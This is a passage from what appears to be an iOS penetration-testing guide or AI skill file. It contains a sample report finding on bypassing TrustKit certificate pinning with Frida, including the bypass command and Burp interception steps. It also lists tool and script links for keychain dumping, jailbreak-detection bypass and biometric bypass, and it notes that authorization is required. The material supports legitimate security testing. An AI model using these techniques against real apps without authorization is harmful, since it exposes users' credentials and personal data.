**CVSS:** 7.4 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

### Description
The application implements SSL certificate pinning using TrustKit, however
the pinning implementation can be bypassed using Frida instrumentation
on a jailbroken device. Once bypassed, all HTTPS traffic is visible to
an attacker with a MITM position on the network.

### Steps to Reproduce
1. Install Frida on jailbroken device
2. Run bypass script: `frida -U -l trustkit_bypass.js com.target.app`
3. Configure Burp Suite as proxy on device
4. Observe all HTTPS traffic in Burp including authentication tokens

### Evidence
- [Screenshot: Burp capture of POST /api/auth/login with credentials]
- [Log: Frida output confirming TrustKit hook applied]

### Impact
An attacker who can position themselves on the same network as the victim
can intercept credentials, session tokens, and sensitive PII transmitted
by the application.

### Recommendation
Implement pinning at the network layer using multiple certificates,
add runtime integrity checks to detect Frida/instrumentation,
consider using network-level VPN pinning for highest assurance.
```

---

## 11. Resources and GitHub URLs

### Core Tools

| Tool | URL | Purpose |
|---|---|---|
| Frida | https://github.com/frida/frida | Dynamic instrumentation framework |
| Objection | https://github.com/sensepost/objection | Runtime mobile exploration |
| frida-ios-dump | https://github.com/AloneMonkey/frida-ios-dump | IPA decryption and extraction |
| class-dump | https://github.com/nygard/class-dump | ObjC header extraction |
| jtool2 | http://www.newosxbook.com/tools/jtool.html | Mach-O analysis |
| idb | https://github.com/facebook/idb | iOS debugging bridge |
| Keychain-Dumper | https://github.com/ptoomey3/Keychain-Dumper | Keychain extraction |
| Fridump | https://github.com/Nightbringer21/fridump | Memory dumping via Frida |
| SSL Kill Switch 2 | https://github.com/nabla-c0d3/ssl-kill-switch2 | SSL pinning bypass tweak |
| palera1n | https://github.com/palera1n/palera1n | iOS 15/16 jailbreak |
| checkra1n | https://checkra.in | iOS 12–14 jailbreak |

### Frida Scripts and Codeshare

| Script | URL | Purpose |
|---|---|---|
| iOS SSL Kill Switch | https://codeshare.frida.re/@akabe1/frida-ios-ssl-kill-switch/ | SSL bypass |
| iOS Jailbreak Bypass | https://codeshare.frida.re/@liangxiaoyi1024/ios-jailbreak-detection-bypass/ | JB bypass |
| iOS Biometric Bypass | https://codeshare.frida.re/@dki/ios-touch-id-bypass/ | TouchID/FaceID bypass |
| Frida CodeShare | https://codeshare.frida.re/ | Community scripts library |

### Reference Standards

| Resource | URL |
|---|---|
| OWASP MASVS | https://github.com/OWASP/owasp-masvs |
| OWASP MSTG | https://github.com/OWASP/owasp-mstg |
| OWASP Mobile Top 10 | https://owasp.org/www-project-mobile-top-10/ |
| Apple Security Guide | https://support.apple.com/guide/security/welcome/web |
| Keychain Services | https://developer.apple.com/documentation/security/keychain_services |
| ATS Reference | https://developer.apple.com/documentation/bundleresources/information_property_list/nsapptransportsecurity |

### Additional Reading

| Resource | URL |
|---|---|
| HackTricks iOS | https://book.hacktricks.xyz/mobile-pentesting/ios-pentesting |
| iOS Pentest Guide | https://github.com/ansjdnakjdnajkd/iOS |
| Damn Vulnerable iOS App | https://github.com/prateek147/DVIA-v2 |
| iGoat-Swift | https://github.com/OWASP/iGoat-Swift |
| grapefruit (iOS RE GUI) | https://github.com/chichou/grapefruit |
| bfinject (IPA injection) | https://github.com/BishopFox/bfinject |
| r2frida | https://github.com/nowsecure/r2frida |

---

*Skill maintained for use on authorized engagements only. All techniques require written authorization. Handle extracted credentials and PII per engagement data handling policy.*
